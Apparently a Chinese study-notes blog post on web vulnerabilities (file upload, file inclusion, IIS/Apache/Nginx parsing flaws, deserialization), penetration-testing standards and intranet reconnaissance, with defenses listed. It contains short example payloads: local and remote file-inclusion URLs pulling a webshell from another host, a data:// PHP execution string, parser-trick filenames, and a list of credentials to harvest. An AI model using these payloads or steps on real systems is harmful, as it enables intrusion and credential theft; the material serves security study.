  6.图片木马上传的漏洞:有的网站在后台管理中可以恢复/备份数据库,这会被攻击者用来进行图片木马入侵;

  7.添加上传类型的漏洞:攻击者如果获取后台管理员账号、密码,然后进入后台添加上传类型,在上传页面中就能直接上传木马;

5)文件上传攻击的防范:阻止非法文件上传(扩展名白名单、文件头判断)、阻止非法文件执行(存储目录与web应用分离、存储目录无执行权限、文件重命名、图片压缩等);

  文件上传攻击的最终成因是:目录过滤不严格,攻击者可能建立畸形目录;文件未重命名,攻击者可能利用web容器解析漏洞;

文件包含漏洞

1)文件包含简介:把可重复使用的函数写入单个文件,在使用该函数时直接调用此文件,无需再次编写函数;

  文件包含是php的基本功能之一,分为本地文件包含和远程文件包含两种,本地文件包含可以读取和打开并包含本地文件,一般可以通过相对路径找到文件进行包含,比如http://127.0.0.1.index.php?page=360.php;远程文件包含可以包含远程服务器上的文件并执行,一般可以通过HTTP、HTTPS、FTP等方式远程包含文件,比如http://127.0.0.1/index.php?page=http://192.168.1.100/fileinclude/360.php;

2)文件包含漏洞的特点:无视文件扩展名读取文件,只要被包含文件的文件内容符合php语法规范,任何扩展名都可以被当作php脚本解析;

3)文件包含的相关函数

  include函数:找不到被包含文件时会产生警告(E_WARNING),但不影响后续语句的执行;

  require函数:找不到被包含文件时会产生致命错误(E_COMPILE_ERROR),直接退出程序,后续语句都不再执行;

4)利用文件包含漏洞

  读取敏感文件:利用文件包含功能读取服务端本地敏感文件,本地文件没有使用php,但是会显示文件内容,造成敏感信息泄露,如系统版本,数据库配置,php配置信息、linux用户信息等;

例如:http://127.0.0.1/index.php?page=C:\windows-version.txt

  远程包含webshell:当服务器端参数allow_url_include开启,则可以远程包含其他web服务器上的文件,可以在其他服务器中创建webshell,通过远程文件包含的方式使webshell执行,进而实现控制服务器,写一句话木马等功能;

例如:http://127.0.0.1/index.php?page=http://10.0.0.1/include/1.txt

  本地文件包含配合文件上传:当服务器开启了文件包含功能,同时又存在文件上传漏洞时,可以先利用文件上传漏洞上传恶意文件到服务器,再利用本地文件包含的方式使webshell执行,最终达到getshell的目的;

例如:http://127.0.0.1/index.php?page=D:\upload\1.png

  利用php封装的伪协议:php有很多内置URL的封装协议,可用于fopen()、copy()、file_exists()、filesize()等文件系统函数,如file://、ftp://、data://、zip://等,通过伪协议,可以直接执行系统命令;

例如:http://127.0.0.1/cmd.php?file=data://text/plain,<?php phpinfo()?>,可直接执行phpinfo()函数,显示php信息;

5)防御文件包含漏洞:

  对于不需要文件包含功能的网站系统,建议直接关闭本地文件包含及远程文件包含函数;

  对于需要文件包含功能的系统,可以将需要包含的文件具体指出,避免给用户开放可以输入文件包含的接口;

  对于在上传文件过程中利用敏感字符构架恶意上传的,可以在URL中过滤敏感字符来进行安全防御;

文件解析漏洞

当服务器收到一个HTTP请求时,中间件首先需要决定如何处理这个请求,服务器获得所请求页面的扩展名后,会在服务器中寻找可以处理这类扩展名的应用程序,如果寻找到则交给对应应用程序进行处理,如果找不到则返回客户端或返回错误,此过程为文件解析;

1)IIS文件解析漏洞:在处理含有特殊符号的文件路径时可能会出现文件解析漏洞;

  /test.asp/test.jpg。目录名中包含“.asp”,则该目录下的所有文件都会被IIS6.0当作ASP脚本文件解析执行;

  test.asp;.jpg。向服务器上传一个名为"test.asp;.jpg"的文件,虽然该文件真正的扩展名是".jpg",但由于含有特殊符号“;”,该文件仍会被当作ASP脚本解析执行;

2)Apache文件解析漏洞:属于错误配置漏洞

  为了Apache能够解析php文件,会在apache配置文件中添加一条配置 AddHandler application/x-httpd-php .php ;此配置使得文件名中任何位置匹配到php,都会交由php解释器进行解析,从而使webshell被执行;

3)Ngnix文件解析漏洞

  在/etc/php5/fpm/pool.d/www.conf的配置文件中,关于security.limit_extensions参数有一个配置,;security.limit_extensions=.php .php3 .php4 .php5,该配置被注释,默认状态下只允许解析执行扩展名为".php"的文件,如果在配置过程中将该参数值置为空,则表示允许任意扩展名的文件被当作php脚本文件解析,就造成了Ngnix文件解析漏洞;

4)文件解析漏洞的防御

  IIS6.0的防御需要升级,IIS5.1,IIS7.5均无此漏洞;

  Apache和Ngnix文件解析漏洞需要修改配置文件;

反序列化漏洞

序列化:将程序创建的对象状态信息转换为可被永久存储或传输的过程;

反序列化:将序列化结果恢复为对象的过程;

1)PHP反序列化漏洞:PHP采用serialize()函数进行序列化操作,采用unserialize()函数进行反序列化操作,序列化的结果为可读的JSON数据;如果我们能控制JSON数据,应用程序就可能在反序列化过程中产生非预期的对象,从而执行某种操作;

2)Java反序列化漏洞

敏感信息泄露

敏感信息泄露途径主要有:默认账户、后台/服务对外开发、目录列表、错误信息、GIT/SVN信息泄露;

渗透测试概述
渗透测试的概念

 1)渗透测试定义:渗透测试(Penetration Testing)是一种通过模拟攻击的技术与方法,挫败目标系统的安全控制措施并获得控制访问权的安全测试方法。

  网络渗透测试一种依据漏洞与后门已经发现的安全漏洞,模拟攻击者的攻击方法对网站应用、服务器系统和网络设备进行非破坏性质的攻击性测试。

  后门:common vulnerabilities and exposures,CVE;

2)渗透测试的必要性:新系统可能存在未知的风险;未雨绸缪;专业的渗透测试后,即使是系统未被攻破,也可以以此证明先前实行的防御是有效的;专业的渗透测试可以有效评估系统的安全状况,并提出合理的改进方案;

3)渗透测试的原则:选择不影响业务系统正常运行的攻击方法进行的测试;符合规范和法律要求;

  进行渗透测试前要对重要数据进行备份,需要对原始系统生成镜像环境,然后对镜像环境进行测试;明确测试范围;

渗透测试的分类

1)黑盒测试:安全审计员在不清楚被测单位的内部技术构造的情况下,从外部评估网络基础设施的安全性;

2)白盒测试:安全审计员可以获取被测单位的各种内部资料甚至不公开资料,所以渗透测试员的视野更开阔;

3)灰盒测试:介于白盒和黑盒之间,是基于对测试对象内部细节有限认知的软件测试方法,可分为以下六种:

  主机操作系统渗透测试;数据库系统渗透测试;应用系统渗透测试;网络设备渗透测试;内网渗透测试;外网渗透测试;

渗透测试标准流程
渗透测试方法体系标准

1)开源安全测试论(OSSTMM)

2)信息系统安全评估框架(ISSAF)

3)开放式web应用程序安全项目(OWASP)

4)web应用安全联合威胁分类(WASC-TC)

5)渗透测试执行标准(PTES)

渗透测试执行标准

分为七个阶段:

1)前期交互阶段:与客户进行交互讨论,确定渗透测试的范围、目标、限制条件、服务合同细节等;

2)信息收集分析阶段:通过信息收集来有针对性地制定模拟攻击测试计划,提高模拟攻击成功率,降低攻击测试对系统正常运行造成的不利影响;

3)威胁建模阶段:在信息收集分析阶段所获取到的信息,标识出目标系统上可能存在的安全漏洞与脆弱点;

4)漏洞分析阶段:根据前面几个阶段获取的信息来分析和理解哪些攻击途径是可行的;

5)渗透攻击阶段:针对目标系统存在的漏洞实施深入研究和测试的渗透攻击,从而获得管理员权限;

6)后渗透攻击阶段:漏洞利用成功后的攻击,标识出关键的基础设施,寻找客户组织最具有价值和尝试进行安全保护的信息和资产,并需要演示出能够对客户造成最重要业务影响的攻击途径;

7)报告阶段:用报告文档呈现渗透测试过程中做了哪些工作以及如何实现等操作,分为权限维持和内网渗透;

  权限维持:提升权限及保持对系统的访问,在漏洞利用阶段得到的权限如果不是系统最高权限,应该进行提权;

  内网渗透:利用获取到的服务器对其所在的内网环境进行渗透,进一步获取目标组织的敏感信息;

内网渗透
内网渗透概述

1)内网渗透简介:内网只有组织工作人员才能访问的专用网络,一般组织内部IT系统提供的大量信息和服务是无法从互联网获得的,最简单的形式是使用LAN和WAN技术建立内网;

 2)windows域控:设立一个管理员,由其统一管理计算机,这套体系称为一个域,域控制器充当了管理员的角色,任何加入域的计算机都需要服从管理员的管理;

  活动目录:windows中的活动目录建立了一种资源和地址的对应关系,类似于电话簿中联系人及其对应的电话号码;

  根域:网络中创建的第一个域,对其他域具有最高管理权限;

  域树:由多个域组成,形成一个连续的名字空间,域树中的域层次越深级别越低,一个"."代表一个层次,例如tree1.tree.com级别比tree.com低;

  域林:创建根域时默认建立一个域林,该域林是整个林的根域,域名也是林的名称;

  DNS:DNS可以建立一个IP地址与域名的关系,是windows域工作的关键;

  域控制器:负责域中计算机和用户的验证工作与安全维护;

  信任关系:信任是在域之间建立的关系,可以使一个域中的用户与其他域中的域控制器进行身份验证;

内网信息收集

网络中收集的信息包括但不限于:操作系统版本、内核、架构,是否在虚拟化环境中,已安装的程序、补丁,网络配置及连接,防火墙设置,用户信息、历史记录(浏览器、登录密码),共享信息、敏感文件、缓存信息、服务等;

1)windows信息收集:

  操作系统信息收集:常用命令systeminfo来显示有关计算机及其操作系统的详细配置信息;

  用户及用户组信息收集:常用命令whoami显示当前登录到本地系统的用户、用户组、权限信息;命令net user添加、修改用户账户或显示用户账户信息;命令net localgroup添加、显示或修改本地用户组信息;命令net accounts更新用户账户数据库并修改所有账户的密码和登录要求,还可以用来查看密码策略等信息;

  网络信息收集:ipconfig:显示所有当前TCP/IP网络配置值并刷新动态主机配置协议(DHCP)和DNS配置;route:显示并修改本地IP路由表中的条目;arp:显示和修改地址解析协议缓存中的条目;netstat:显示活动的TCP连接、计算机侦听的端口、以太网统计信息、IP路由表、IPv4统计信息、IPv6统计信息;net share:管理共享资源;net use:将计算机连接到共享资源或将计算机与共享资源断开链接,或显示有关计算机连接的信息;

  敏感文件收集:包括hosts文件、回收站文件、IIS信息收集等;

  凭证收集:收集的凭证包括但不限于:windows hash、浏览器密码、cookie、远程桌面密码、VPN密码、WLAN密码、IIS服务器密码、FTP服务器密码等;

2)Linux信息收集

待续---------------------

 此篇停更一段时间,以后需要的话再来继续,还是会不停学习中.......

参考资料:

《网络空间安全导论》

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值